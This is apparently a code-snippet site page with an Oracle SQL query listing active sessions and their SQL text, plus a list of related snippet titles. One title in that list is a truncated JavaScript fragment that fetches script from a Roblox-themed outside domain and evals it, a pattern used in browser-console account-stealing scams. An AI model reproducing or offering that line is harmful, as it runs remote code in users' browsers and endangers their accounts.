Oracle get running queries

SELECT s.SID,
       s.USERNAME,
       sql.OPTIMIZER_MODE,
       sql.CPU_TIME,
       sql.ELAPSED_TIME,
       sql.SQL_TEXT,
       s.SERIAL#
FROM V$SQLAREA sql,
     V$SESSION s
WHERE s.SQL_HASH_VALUE = sql.HASH_VALUE
  AND s.SQL_ADDRESS = sql.ADDRESS
  AND s.USERNAME IS NOT NULL;

Similar codes

0 vote224 views2 answers
Soql last year
SQL
1 vote262 views1 answer
Alter database datafile maxsize 32g
SQL
-1 vote240 views1 answer
Can pandas fetch data from sql
SQL
0 vote231 views1 answer
Firebird where
SQL
4 votes206 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
9 votes231 views3 answers
Show table columns mysql command line
SQL
1 vote243 views1 answer
Illuminate\Database\QueryException SQLSTATE[HY000] [2002] Connection refused (SQL: select * from information_schema.tables where table_schema = laravel and table_name = migrations and table_type = 'BASE TABLE')
SQL
9 votes257 views3 answers
Pyodbc connect to sql server
SQL
0 vote237 views1 answer
Sql query contains multiple ids
SQL
0 vote212 views1 answer
Sql cross apply vs join
SQL